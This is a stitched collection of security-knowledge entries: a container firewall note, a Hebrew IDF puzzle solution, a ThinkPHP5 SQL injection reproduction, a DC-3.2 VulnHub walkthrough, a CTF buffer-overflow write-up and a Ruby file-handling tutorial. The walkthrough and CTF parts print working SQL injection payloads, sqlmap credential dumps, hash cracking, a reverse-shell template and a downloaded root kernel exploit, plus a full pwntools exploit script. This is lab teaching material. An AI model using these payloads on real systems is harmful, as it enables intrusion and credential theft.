然而，在大型的容器云环境中，由于存在频繁的微服务动态变化更新，通过手动的方式配置 iptables 或更新防火墙是不现实的。因此，可通过微分段（Micro-Segmentation）实现面向容器云环境中的容器防火墙。微分段是一种细粒度的网络分段隔离机制，与传统的以网络地址为基本单位的网络分段机制不同，微分段可以以单个容器、同网段容器、容器应用为粒度实现分段隔离，并通过容器防火墙对实现微分段间的网络访问控制。
### 更多内容
- [Docker 安全](../../Security/RedTeam/软件服务安全/实验/Docker.md)
|
sec-knowleage
|
<div dir="rtl">
<h1>חידת אמ"ן - פסח התשפ"ג</h1>
<p>
לרגל חג הפסח פרסם אגף המודיעין חידה קצרה. נראה כאן את הפתרון שלה. על החידה עבדתי יחד עם דניאל א.
</p>
<h2>תיאור</h2>
<p>
לאחר שבשנה שעברה יותר ממיליון אנשים נענו לאתגר השנתי של אגף המודיעין ופחות מ-0.1% הצליחו לפתור אותו, חידת אמ"ן חוזרת - ובגדול. מה הקשר בין סרטון טיקטוק, שחור ופתור ושיר אירוויזיוני? ואיך תגיעו בעזרתם לארבעה חלקי קוד סודיים? מקווים שייקח לכם פחות מ-40 שנה לפצח את זה.
עלמה סברוב, דניאל טננבוים, מערכת את"צ | 04.04.23
</p>
<b>ברוכה הבאה לחידה השנתית של אגף המודיעין</b>
<p>
הפעם, תצטרכו לחשוב גדול ורחב יותר מאי פעם - לפרוץ את כל הגבולות ולצאת מהקופסה. עליכם לעזור לאנשי האגף למצוא את ארבעת פיסות המודיעין הנדרשות להצלחת משימה סודית, ולחבר אותם לכדי תמונה שלמה.
<br/>
בהצלחה
</p>
<p>
להתחלת החידה <a href="https://vt.tiktok.com/ZS8sVhdtB/?feature=share">לחצו כאן</a><br/>
</p>
<pre dir="ltr" style="text-align: left">
www.idf.il/_____/
</pre>
<p>
*את החידה חיבר תחום טכנולוגיות למידה - ArTech במערך ההדרכה של אמ״ן. התחום אחראי על תקשוב ודיגיטציה מתקדמת של הכשרות האגף תוך שילוב לומדות, משחקי מחשב מודיעיניים, סימולטורים ואתרי למידה במטרה להטמיע ידע באופן חוויתי ומשמעותי ולפתח תחושת מסוגלות בקרב הלומדים
</p>
<h2>פתרון</h2>
<h3>התמונה בכותרת</h3>
<p>
לפני שאנחנו צוללים אל סרטון הטיקטוק, יש לנו המון נתונים בתמונה שבכותרת. נעבור על הכל בזריזות.
</p>
<ul>
<li>תמונה של לאונרדו דה וינצ'י</li>
<li>גלגל המזלות, ובפנים כיתוב ASCII</li>
<li>תמונה של כלב האסקי</li>
<li>אם מסתכלים מקרוב, אפשר לראות אותיות דהויות מוסתרות בתמונה: ח' (על הקוביה הימנית ביותר), ד' (על התג הימני), ג' (על גלגל המזלות), ד' (על סמל המודיעין במרכז), י' (על הכובע של לאונרדו דה וינצ'י) ו-א' (על הקוביה השמאלית). וביחד: "חד גדיא".</li>
</ul>
<h3>הסרטון</h3>
<p>
בואו נראה מה הסרטון מכיל. בתחילתו, הקריין מודיע לנו שהתמונה הבאה היא לא מה שחשבנו:
</p>
<p>
היא דומה לתמונת הכותרת, אבל העצמים סודרו מחדש, ונוסף כיתוב מימין: 340 1969. מה זה? ובכן, חיפוש בגוגל מציע שמדובר ב"צופן 340" של <a href="https://he.wikipedia.org/wiki/%D7%A8%D7%95%D7%A6%D7%97_%D7%94%D7%96%D7%95%D7%93%D7%99%D7%90%D7%A7">רוצח הזודיאק</a>. זודיאק, אגב, הוא שם נוסף לגלגל המזלות, כמו בתמונת הכותרת.
</p>
<p>
מיד אחר כך, מבזיקה לרגע הכתובת <a href="https://www.youtube.com/watch?v=dQw4w9WgXcQ">https://www.youtube.com/watch?v=dQw4w9WgXcQ</a>. אם זיהיתם, יופי, ואם לא - תבדקו בזריזות מה זה ותחזרו.
</p>
<p>
אי שם בהמשך מבזיקה הכתובית "םכילע יתדבע חחחחח הבושתה אל תאז", היפוך של "זאת לא התשובה חחחחח עבדתי עליכם". עוד מסיח הוא:
</p>
<p>
כתובת ה-QR הזאת מובילה לאתר עם עצות להתמודדות עם כשלונות.
</p>
<p>
קצת אחרי, מופיעה תמונה של מצה:
</p>
<p>
חדי העין ישימו לב שעל המצה מופיע מה שנראה כמו כתב מורס: - .... . .-.. .- ... - ... ..- .--. .--. . .-.<br/>
אם נפענח את המסר, נקבל: THELASTSUPPER.
</p>
<p>
עוד בהמשך, קישור לסרטון על <a href="https://www.youtube.com/watch?v=LMW0o15fXP0">שפצור כומתה<a/>, וסיימנו את הסרטון.
</p>
<p>
בין כל המסיחים, נראה שהכיוון של THELASTSUPPER הוא ההגיוני ביותר. ננסה לגשת לכתובות שקשורות לסעודה האחרונה ונמצא את הקישור <a href="https://www.idf.il/%D7%94%D7%A1%D7%A2%D7%95%D7%93%D7%94%D7%94%D7%90%D7%97%D7%A8%D7%95%D7%A0%D7%94">הזה</a>, ובתוכו התמונה הבאה:
</p>
<p>
אמנם הוא טוען שנכשלנו, אבל מי זה שם בתמונה? לאונרדו די קפריו! היה לנו לאונרדו קודם - לאונרדו דה וינצ'י. ושלא במקרה, "הסעודה האחרונה" היא לא רק אירוע בחייו של ישו אלא גם אחת התמונות המפורסמות של לאונרדו דה וינצ'י! לכן, ננסה לגשת ל<a href="https://www.idf.il/%D7%9C%D7%90%D7%95%D7%A0%D7%A8%D7%93%D7%95%D7%93%D7%94%D7%95%D7%99%D7%A0%D7%A6%D7%99">קישור הזה</a> ונמצא את החלק הראשון של החידה.
</p>
<h3>חלק ראשון</h3>
<p>
הדף שהגענו אליו מכיל את הטקסט הבא:
</p>
<table><tr><td>
<p>
תושייה וסקרנות - כנראה יש לכם, ואולי גם ידע כללי. </br>
את השלב הראשון של החידה עברתם בהצלחה - והרווחתם את פיסת המודיעין הראשונה.</br>
מפה, זה רק ילך ויסתבך אז תקחו נשימה, החידה עוד ארוכה. </br>
בהצלחה</br>
לקבלת פיסת המודיעין הראשונה <a href="https://www.idf.il/%D7%90%D7%AA%D7%A8%D7%99-%D7%99%D7%97%D7%99%D7%93%D7%95%D7%AA/%D7%90%D7%92%D7%A3-%D7%94%D7%9E%D7%95%D7%93%D7%99%D7%A2%D7%99%D7%9F/%D7%9B%D7%9C-%D7%94%D7%9B%D7%AA%D7%91%D7%95%D7%AA/%D7%97%D7%99%D7%93%D7%AA-%D7%90%D7%9E-%D7%9F-2023/%D7%A8%D7%91%D7%9E%D7%93-%D7%9E%D7%96%D7%99-%D7%A4%D7%93%D7%9D-%D7%A4%D7%A6%D7%9F/">לחצו כאן</a>
</p>
</td></tr></table>
<p>
פיסת המודיעין הראשונה היא רבע QR Code, ובתמונה המצורפת אמור להיות הרמז הבא. כשמנסים לשמור את התמונה, השם המוצע על ידי השרת הוא "י-חדד", ואפשר לראות בתחתית התמונה את החתימה "ירון חדד". מי זה?
</p>
<h3>חלק שני</h3>
<p>
ובכן, <a href="https://he.wikipedia.org/wiki/%D7%99%D7%A8%D7%95%D7%9F_%D7%97%D7%93%D7%93">ירון חדד<a/> הוא שחקן וזמר ישראלי. לפי ויקיפדיה, בקדם אירוויזיון 1992 הופיע עם השיר "זודיאק". השיר הגיע למקום התשיעי בלבד, אך הפך ללהיט. לאחר מכן הוציא ירון חדד את אלבום הבכורה, שהיה אלבומו היחיד ונקרא בשם "זודיאק". להזכירכם, ב"זודיאק" נתקלנו מוקדם יותר.
</p>
<p>
"צופן 340" של רוצח הזודיאק פוענח לפני מספר שנים. היה נחמד אם השלב הבא היה מבוסס על טקסט שמוצפן באמצעות אותו צופן, אבל בפועל השלב הבא הגיע אחרי ביקור
ב<a href="https://www.idf.il/3401969/">קישור הזה</a>.
</p>
<p>
מה יש לנו כאן? תמונה מתוך ערוץ הטיקטוק של אמ"ן. שימו לב לקישור באמצע הטקסט - lookforthelink. נחפש קישור נוסף מוחבא בתמונה ונראה שניתן להרכיב קישור מחלקי טקסט שמוסתרים ב-thumbnails של הסרטונים. <a href="https://www.idf.il/100995/">זה הקישור</a> והוא נותן לנו רבע QR Code נוסף.
</p>
<h3>חלק שלישי</h3>
<p>
מה הלאה? ובכן, מספר הצפיות בסרטונים נראה מוזר. אם נתייחס למספר הצפיות בתור ASCII (כמו הרמז שקיבלנו מתמונת הכותרת), נקבל טקסט קריא לחלוטין:
</p>
<pre dir="ltr" style="text-align: left">
115 121 114 105 97 32 111 102 97 107 105 109 32 104 97 98 104 97 98 97 104 97 105 109
syria ofakim habhabahaim
</pre>
<p>
סוריה אופקים הבהאיים?? מה זה? נחפש בגוגל ונגיע ל<a href="https://www.idf.il/%D7%90%D7%AA%D7%A8%D7%99-%D7%99%D7%97%D7%99%D7%93%D7%95%D7%AA/%D7%90%D7%92%D7%A3-%D7%94%D7%9E%D7%95%D7%93%D7%99%D7%A2%D7%99%D7%9F/%D7%9B%D7%9C-%D7%94%D7%9B%D7%AA%D7%91%D7%95%D7%AA/2023/25-%D7%A9%D7%A0%D7%94-%D7%91%D7%97%D7%9C%D7%9C-%D7%9C%D7%95%D7%95%D7%99%D7%A0%D7%99%D7%9D-%D7%99%D7%97%D7%99%D7%93%D7%94-9900-%D7%9E%D7%A8%D7%9B%D7%96-%D7%94%D7%97%D7%9C%D7%9C-%D7%99%D7%97%D7%99%D7%93%D7%94-%D7%9E%D7%95%D7%93%D7%99%D7%A2%D7%99%D7%9F-%D7%90%D7%9E%D7%9F/">כתבה הזאת</a> מתוך אתר צה"ל.
</p>
<p>
הכתבה מדברת על מפעילות הלווינים של צה"ל, אבל אם נוריד את תמונת הכותרת נראה שהיא מכילה כיתוב נסתר:
</p>
<p>
לפי הכיתוב, "בחל-דור-ודור-חייו-אדם-לראות-עצמו-שאילו-הוא-יצא-ממצכים". כמובן שיש כאן מספר טעויות. אם נתרכז רק בשגיאות הכתיב, נקבל "ח', ו', ש', כ'", או בקיצור "חושך". נבקר ב<a href="https://www.idf.il/%D7%97%D7%95%D7%A9%D7%9A/">קישור הזה</a> ונקבל:
</p>
<table><tr><td>
<p>
אם הגעתם לעמוד זה, כנראה שכבר התחלתם להבין את המשחק. הסוד הרי, הוא לשים לב לפרטים הקטנים ומה דווקא נמצא מאחורי התמונה הגדולה אז בבקשה - פיסת המודיעין השלישת. <br/>
אנשי האגף כבר ממהרים ורק אתם יכולים לספק את הפתרון שיאפשר את הצלחת המשימה הסודית - כדאי שגם אתם תתחילו להעלות את הקצב. <br/>
בהצלחה<br/>
לפיסת המודיעין השלישית <a href="https://www.idf.il/%D7%90%D7%AA%D7%A8%D7%99-%D7%99%D7%97%D7%99%D7%93%D7%95%D7%AA/%D7%90%D7%92%D7%A3-%D7%94%D7%9E%D7%95%D7%93%D7%99%D7%A2%D7%99%D7%9F/%D7%9B%D7%9C-%D7%94%D7%9B%D7%AA%D7%91%D7%95%D7%AA/%D7%97%D7%99%D7%93%D7%AA-%D7%90%D7%9E-%D7%9F-2023/%D7%94%D7%A0%D7%93%D7%A1%D7%94-401-%D7%A4%D7%99%D7%A6%D7%95%D7%A5-%D7%9E%D7%95%D7%A7%D7%A9%D7%99%D7%9D/">לחץ כאן</a><br/>
להמשך החידה <a href="https://hidat-aman-2023.s3.eu-north-1.amazonaws.com/hidat+aman+-+V2/story.html">לחץ כאן</a>
</p>
</td></tr></table>
<h3>חלק רביעי</h3>
<p>
המשך החידה הוא משחק "שחור ופתור" עם קאץ' - במקום מספרים, יש לנו צבעים, והצבעים ממופים למה שנראה כמו קוארדינטות.
</p>
<p>
נחפש ב"גוגל מפות" את הקוארדינטות וננסה למפות אותם בחזרה למספרים:
</p>
<p>
אם כך, נראה שהמיפוי הוא כזה:
</p>
<pre dir="ltr" style="text-align: left">
44.956259, -93.298023 3
45.476594, -122.560301 1
41.708904, -87.794409 4
44.957631, -93.27252 2
44.958755, -93.272381 5
4.815762, 7.02716 7
32.220081, -110.85548 6
-6.218580, 106.802537 0
</pre>
<p>
נכניס ל<a href="http://a.teall.info/nonogram/">אתר לפתרון שחור-ופתור</a> ונקבל את הפתרון הבא:
</p>
<p>
הפתרון שלנו התקבל:
</p>
<p>
בתגובה אנחנו מקבלים את החלק הרביעי והאחרון של ה-QR Code.
</p>
<h3>חלק מסכם</h3>
<p>
נחבר את ארבעת הרבעים שמצאנו ונקבל את ה-QR Code השלם:
</p>
<p>
הוא מוביל אותנו ל<a href="https://www.idf.il/99592">קישור הזה</a>, עם סרטון יוטיוב בו הקול מושמע הפוך. אפשר לשמור את הסאונד של הסרטון באמצעות שלל שירותים שמציעים זאת אונליין, ושירותי אונליין אחרים מאפשרים להפוך את הסאונד של קובץ מדיה כלשהו. לבסוף, נקבל את המסר הבא:
</p>
<p>
"אם הגעתם לשלב זה, אתם בין האנשים הבודדים שהצליחו לפתור את חידת אמ"ן השנתית. כל הכבוד! נא לשלוח את המילה המסתתרת במעלה החידה למייל הבא: hidataman2023@gmail.com"
</p>
<p>
המילה (מילה? זוג מילים) היא "חד גדיא". חג שמח!
</p>
<h2>קישורים</h2>
<ul>
<li><a href="https://www.idf.il/%D7%90%D7%AA%D7%A8%D7%99-%D7%99%D7%97%D7%99%D7%93%D7%95%D7%AA/%D7%90%D7%92%D7%A3-%D7%94%D7%9E%D7%95%D7%93%D7%99%D7%A2%D7%99%D7%9F/%D7%9B%D7%9C-%D7%94%D7%9B%D7%AA%D7%91%D7%95%D7%AA/%D7%97%D7%99%D7%93%D7%AA-%D7%90%D7%9E-%D7%9F-2023/%D7%97%D7%99%D7%93%D7%AA-%D7%90%D7%9E-%D7%9F-%D7%A4%D7%A1%D7%97-2023-%D7%90%D7%92%D7%A3-%D7%94%D7%9E%D7%95%D7%93%D7%99%D7%A2%D7%99%D7%9F-%D7%91%D7%A8%D7%A7%D7%95%D7%93%D7%99%D7%9D-%D7%A4%D7%99%D7%A1%D7%95%D7%AA-%D7%9E%D7%95%D7%93%D7%99%D7%A2%D7%99%D7%9F-%D7%98%D7%99%D7%A7%D7%98%D7%95%D7%A7-%D7%9E%D7%99-%D7%99%D7%A4%D7%AA%D7%95%D7%A8-%D7%97%D7%99%D7%93%D7%AA-%D7%90%D7%9E%D7%9F-2023/">החידה באתר צה"ל</a></li>
<li><a href="https://www.ynet.co.il/news/article/b1xrqlkb3#autoplay">כתבה ב-YNet</a></li>
<li><a href="https://www.idf.il/%D7%90%D7%AA%D7%A8%D7%99-%D7%99%D7%97%D7%99%D7%93%D7%95%D7%AA/%D7%90%D7%92%D7%A3-%D7%94%D7%9E%D7%95%D7%93%D7%99%D7%A2%D7%99%D7%9F/%D7%9B%D7%9C-%D7%94%D7%9B%D7%AA%D7%91%D7%95%D7%AA/%D7%97%D7%99%D7%93%D7%AA-%D7%90%D7%9E-%D7%9F-2023/%D7%97%D7%99%D7%93%D7%AA-%D7%90%D7%9E-%D7%9F-%D7%90%D7%92%D7%A3-%D7%94%D7%9E%D7%95%D7%93%D7%99%D7%A2%D7%99%D7%9F-2023-%D7%A4%D7%AA%D7%A8%D7%95%D7%9F-%D7%A4%D7%A1%D7%97-%D7%91%D7%A8%D7%A7%D7%95%D7%93%D7%99%D7%9D-%D7%94%D7%9B%D7%99-%D7%97%D7%9B%D7%9E%D7%99%D7%9D-%D7%A4%D7%99%D7%A6%D7%95%D7%97-%D7%A7%D7%95%D7%93/">הפתרון הרשמי</a></li>
</ul>
</div>
|
sec-knowleage
|
# ThinkPHP5 SQL注入漏洞 && 敏感信息泄露
运行环境：
```
docker compose up -d
```
启动后，访问`http://your-ip/index.php?ids[]=1&ids[]=2`，即可看到用户名被显示了出来，说明环境运行成功。
## 漏洞原理
漏洞原理说明：
- https://www.leavesongs.com/PENETRATION/thinkphp5-in-sqlinjection.html
- https://xz.aliyun.com/t/125
不再赘述。
## 漏洞利用
访问`http://your-ip/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1`，信息成功被爆出：
当然，这是一个比较鸡肋的SQL注入漏洞。但通过DEBUG页面，我们找到了数据库的账号、密码：
这又属于一个敏感信息泄露漏洞。
|
sec-knowleage
|
# DC: 3.2
下载地址：https://download.vulnhub.com/dc/DC-3-2.zip
## 实战演练
> 需要在虚拟机删除磁盘，不然开不了机
发现靶场IP地址：`192.168.32.159`
扫描对外开放端口
```
┌──(root💀kali)-[/tmp]
└─# nmap -sT -sV -p1-65535 192.168.32.159 2 ⚙
Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-21 04:33 EDT
Nmap scan report for 192.168.32.159
Host is up (0.00026s latency).
Not shown: 65534 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
MAC Address: 00:0C:29:6C:92:FC (VMware)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.91 seconds
```
浏览器访问80端口
扫描web目录，找到靶场的web系统的框架是`joomla`
使用`droopescan`查找有用的信息
```
┌──(root💀kali)-[/tmp]
└─# docker run droopescan scan joomla -u http://192.168.32.159 2 ⚙
[+] Possible version(s):
3.7.0
3.7.0-beta2
3.7.0-beta3
3.7.0-beta4
3.7.0-rc4
3.7.1
3.7.1-rc1
3.7.1-rc2
3.7.2
3.7.3
3.7.3-beta1
3.7.3-rc2
3.7.4
3.7.4-beta1
3.7.4-rc1
3.7.5
3.8.0
3.8.0-beta1
3.8.0-beta2
3.8.0-beta3
3.8.0-beta4
3.8.1
3.8.1-rc
3.8.2
3.8.2-rc
3.8.3
3.8.3-rc
[+] Possible interesting urls found:
Detailed version information. - http://192.168.32.159/administrator/manifests/files/joomla.xml
Login page. - http://192.168.32.159/administrator/
License file. - http://192.168.32.159/LICENSE.txt
Version attribute contains approx version - http://192.168.32.159/plugins/system/cache/cache.xml
[+] Scan finished (0:00:00.081589 elapsed)
```
查看可以利用的EXP脚本
找到可以利用的脚本
```
┌──(root💀kali)-[/tmp]
└─# cat 42033.txt
# Exploit Title: Joomla 3.7.0 - Sql Injection
# Date: 05-19-2017
# Exploit Author: Mateus Lino
# Reference: https://blog.sucuri.net/2017/05/sql-injection-vulnerability-joomla-3-7.html
# Vendor Homepage: https://www.joomla.org/
# Version: = 3.7.0
# Tested on: Win, Kali Linux x64, Ubuntu, Manjaro and Arch Linux
# CVE : - CVE-2017-8917
URL Vulnerable: http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml%27
Using Sqlmap:
sqlmap -u "http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
Parameter: list[fullordering] (GET)
Type: boolean-based blind
Title: Boolean-based blind - Parameter replace (DUAL)
Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(CASE WHEN (1573=1573) THEN 1573 ELSE 1573*(SELECT 1573 FROM DUAL UNION SELECT 9674 FROM DUAL) END)
Type: error-based
Title: MySQL >= 5.0 error-based - Parameter replace (FLOOR)
Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(SELECT 6600 FROM(SELECT COUNT(*),CONCAT(0x7171767071,(SELECT (ELT(6600=6600,1))),0x716a707671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 time-based blind - Parameter replace (substraction)
Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(SELECT * FROM (SELECT(SLEEP(5)))GDiu)
```
使用sqlmap进行测试
```
┌──(root💀kali)-[/tmp]
└─# sqlmap -u "http://192.168.32.159/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] --batch
```
导出用户信息
```
┌──(root💀kali)-[/tmp]
└─# sqlmap -u "http://192.168.32.159/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] -D joomladb -T '#__users' --dump
Database: joomladb
Table: #__users
[1 entry]
+-----+-------+--------------------------+----------------------------------------------------------------------------------------------+--------------------------------------------------------------+----------+
| id | name | email | params | password | username |
+-----+-------+--------------------------+----------------------------------------------------------------------------------------------+--------------------------------------------------------------+----------+
| 629 | admin | freddy@norealaddress.net | {"admin_style":"","admin_language":"","language":"","editor":"","helpsite":"","timezone":""} | $2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu | admin |
+-----+-------+--------------------------+----------------------------------------------------------------------------------------------+--------------------------------------------------------------+----------+
```
使用john进行暴力破解，找到密码为`snoopy`
```
┌──(root💀kali)-[/tmp]
└─# john password.txt --wordlist=/usr/share/wordlists/rockyou.txt 1 ⨯
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
snoopy (?)
1g 0:00:00:01 DONE (2022-06-21 05:00) 0.6211g/s 89.44p/s 89.44c/s 89.44C/s 555555..sandra
Use the "--show" option to display all of the cracked passwords reliably
Session completed
```
访问`administrator`目录
修改PHP模板为反弹shell
```
http://192.168.32.159/administrator/index.php?option=com_templates&view=template&id=503&file=L2luZGV4LnBocA%3D%3D
```
访问shell地址
```
http://192.168.32.159/templates/beez3/index.php
```
使用CVE-2016-4557漏洞进行提权
```
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/39772.zip
```
```
$ unzip 39772.zip
Archive: 39772.zip
creating: 39772/
inflating: 39772/.DS_Store
creating: __MACOSX/
creating: __MACOSX/39772/
inflating: __MACOSX/39772/._.DS_Store
inflating: 39772/crasher.tar
inflating: __MACOSX/39772/._crasher.tar
inflating: 39772/exploit.tar
inflating: __MACOSX/39772/._exploit.tar
$ cd 39772
$ ls
crasher.tar
exploit.tar
$ tar xvf ex*
ebpf_mapfd_doubleput_exploit/
ebpf_mapfd_doubleput_exploit/hello.c
ebpf_mapfd_doubleput_exploit/suidhelper.c
ebpf_mapfd_doubleput_exploit/compile.sh
ebpf_mapfd_doubleput_exploit/doubleput.c
$ ls
crasher.tar
ebpf_mapfd_doubleput_exploit
$ ./compile.sh
$ ./doubleput
starting writev
woohoo, got pointer reuse
writev returned successfully. if this worked, you'll have a root shell in <=60 seconds.
suid file detected, launching rootshell...
we have root privs now...
uid=0(root) gid=0(root) groups=0(root),33(www-data)
```
|
sec-knowleage
|
# Return To Mania
PWN, 50 points
## Description
> To celebrate her new return to wrestling, Captn Overflow authored this challenge to enter the ring
A binary file was attached.
## Solution
Let's run the file:
```console
root@kali:/media/sf_CTFs/sunshine/Return_To_Mania# ./return-to-mania
Welcome to WrestleMania! Type in key to get access.
addr of welcome(): 0x565c16ed
test
Sadly, as a result Captn Overflow won't be entering the ring yet...
```
We are presented with an address, and an opportunity to enter a string.
Let's view the decompilation with Ghidra:
```c
void welcome(void)
{
undefined local_16 [14];
puts("Welcome to WrestleMania! Type in key to get access.");
printf("addr of welcome(): %p\n",welcome);
__isoc99_scanf(&DAT_0001087b,local_16);
return;
}
undefined4 main(undefined1 param_1)
{
welcome();
puts("Sadly, as a result Captn Overflow won\'t be entering the ring yet...");
return 0;
}
```
So this is a trivial buffer overflow of `local_16`, hijacking the return address.
Where would we like to jump to? From a short exploration of the remaining code, probably here:
```c
void mania(void)
{
char local_38 [40];
FILE *local_10;
puts("WELCOME TO THE RING!");
local_10 = fopen("flag.txt","r");
if (local_10 == (FILE *)0x0) {
perror("flag.txt");
}
else {
fgets(local_38,0x28,local_10);
fclose(local_10);
puts(local_38);
}
return;
}
```
One last thing to check before we start writing the exploit: What are the executable security attributes?
```console
root@kali:/media/sf_CTFs/sunshine/Return_To_Mania# checksec.sh -f return-to-mania
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
No RELRO No canary found NX enabled PIE enabled No RPATH No RUNPATH 75 Symbols No 0 4 return-to-mania
```
We don't have a stack canary but we do have to bypass PIE/ASLR. Luckily, `welcome()`'s address is "leaked" to us, so we can use that to calculate the ASLR base.
The script:
```python
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template --host archive.sunshinectf.org --port 19001 ./return-to-mania
from pwn import *
import os
# Set up pwntools for the correct architecture
exe = context.binary = ELF('./return-to-mania')
# Many built-in settings can be controlled on the command-line and show up
# in "args". For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
# ./exploit.py GDB HOST=example.com PORT=4141
host = args.HOST or 'archive.sunshinectf.org'
port = int(args.PORT or 19001)
def local(argv=[], *a, **kw):
'''Execute the target binary locally'''
if args.GDB:
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe.path] + argv, *a, **kw)
def remote(argv=[], *a, **kw):
'''Connect to the process on the remote host'''
io = connect(host, port)
if args.GDB:
gdb.attach(io, gdbscript=gdbscript)
return io
def start(argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.LOCAL:
return local(argv, *a, **kw)
else:
return remote(argv, *a, **kw)
# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
break *0x{exe.symbols.main:x}
continue
'''.format(**locals())
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: i386-32-little
# RELRO: No RELRO
# Stack: No canary found
# NX: NX enabled
# PIE: PIE enabled
def get_overflow_offset():
# It's problematic to create a core dump on an NTFS file system,
# so reconfigure core dumps to be created elsewhere
os.system("echo ~/core/core_dump > /proc/sys/kernel/core_pattern")
os.system("rm ./core.*")
payload = cyclic(100)
proc = local()
proc.recvline()
proc.recvline()
proc.sendline(payload)
proc.wait()
offset = cyclic_find(proc.corefile.eip)
return offset
overflow_offset = get_overflow_offset()
log.info("Overflow offset: {}".format(overflow_offset))
io = start()
io.recvline()
io.recvuntil("addr of welcome():")
welcome_addr = int(io.recvline(keepends = False), 16)
log.info("welcome() address: {}".format(hex(welcome_addr)))
aslr_base = welcome_addr - exe.symbols["welcome"]
#mania_addr = ((welcome_addr & 0xFFFFF000) + exe.symbols["mania"])
mania_addr = aslr_base + exe.symbols["mania"]
log.info("mania() address: {}".format(hex(mania_addr)))
payload = fit({overflow_offset: p32(mania_addr)}, filler = "A")
log.info("Sending payload: {}".format(enhex(payload)))
io.sendline(payload)
print io.recvall()
```
The output:
```console
root@kali:/media/sf_CTFs/sunshine/Return_To_Mania# python exploit.py REMOTE
[*] '/media/sf_CTFs/sunshine/Return_To_Mania/return-to-mania'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process '/media/sf_CTFs/sunshine/Return_To_Mania/return-to-mania': pid 25943
[*] Process '/media/sf_CTFs/sunshine/Return_To_Mania/return-to-mania' stopped with exit code -11 (SIGSEGV) (pid 25943)
[+] Parsing corefile...: Done
[*] '/media/sf_CTFs/sunshine/Return_To_Mania/core.25943'
Arch: i386-32-little
EIP: 0x61676161
ESP: 0xffa81c60
Exe: '/media/sf_CTFs/sunshine/Return_To_Mania/return-to-mania' (0x5664d000)
Fault: 0x61676161
[*] Overflow offset: 22
[+] Opening connection to archive.sunshinectf.org on port 19001: Done
[*] welcome() address: 0x565fa6ed
[*] mania() address: 0x565fa65d
[*] Sending payload: 414141414141414141414141414141414141414141415da65f56
[+] Receiving all data: Done (53B)
[*] Closed connection to archive.sunshinectf.org port 19001
WELCOME TO THE RING!
sun{0V3rfl0w_rUn_w!Ld_br0th3r}
```
|
sec-knowleage
|
# File 类与 Dir 类
---
- https://www.kancloud.cn/imxieke/ruby-base/107306
---
# File 类
File 类中实现了操作文件系统的方法。
**变更文件名**
- `File.rename(before, after)`
我们可以用 `File.rename` 方法变更文件名。
```ruby
File.rename("before.txt", "after.txt")
```
还可以将文件移动到已存在的目录下，目录不存在则程序会产生错误。
```ruby
File.rename("data.txt", "backup/data.txt")
```
注 `File.rename` 方法无法跨文件系统或者驱动器移动文件。
如果文件不存在，或者没有适当的文件操作权限等，则文件操作失败，程序抛出异常。
执行示例
```ruby
> irb --simple-prompt
>> File.open("/no/such/file")
Errno::ENOENT: No such file or directory - /no/such/file
from (irb):1:in `initialize'
from (irb):1:in `open'
from (irb):1
from /usr/bin/irb:12:in `<main>'
```
**复制文件**
只用一个 Ruby 预定义的方法是无法复制文件的。这时，我们可以利用 `File.open` 方法与 `write` 方法的组合来实现文件复制。
```ruby
def copy(from, to)
File.open(from) do |input|
File.open(to, "w") do |output|
output.write(input.read)
end
end
end
```
不过，由于文件复制是常用的操作，如果每次使用时都需要自己重新定义一次的话就非常麻烦。因此，我们可以通过引用 `fileutils` 库，使用其中的 `FileUtils.cp`（文件拷贝）、`FileUtils.mv`（文件移动）等方法来操作文件。
```ruby
require "fileutils"
FileUtils.cp("data.txt", "backup/data.txt")
FileUtils.mv("data.txt", "backup/data.txt")
```
`File.rename` 不能实现的跨文件系统、驱动器的文件移动，用 `FileUtils.mv` 方法则可以轻松实现。
**删除文件**
```ruby
File.delete(file)
File.unlink(file)
```
我们可以使用 `File.delete` 方法或 `File.unlink` 方法删除文件。
```ruby
File.delete("foo")
```
# 目录的操作
`Dir` 类中实现了目录相关的操作方法。在详细说明前，我们先来复习一下有关目录的一些基础知识。
目录中可以存放多个文件。除了文件之外，目录中还可以存放其他目录，其他目录中又可以再存放目录……如此无限循环。通过将多个目录进行排列、嵌套，就可以轻松地管理大量的文件。
Windows 的资源管理器的左侧就是可视化的目录层次结构（树形结构）。用目录名连接 / 的方法即可指定目录中的文件。由于我们可以通过目录名指定文件的位置，因此表示文件位置的目录名就称为路径（path）或路径名。另外，我们把目录树的起点目录称为根目录（root directory），根目录只用 / 表示。
**关于 Windows 的路径名**
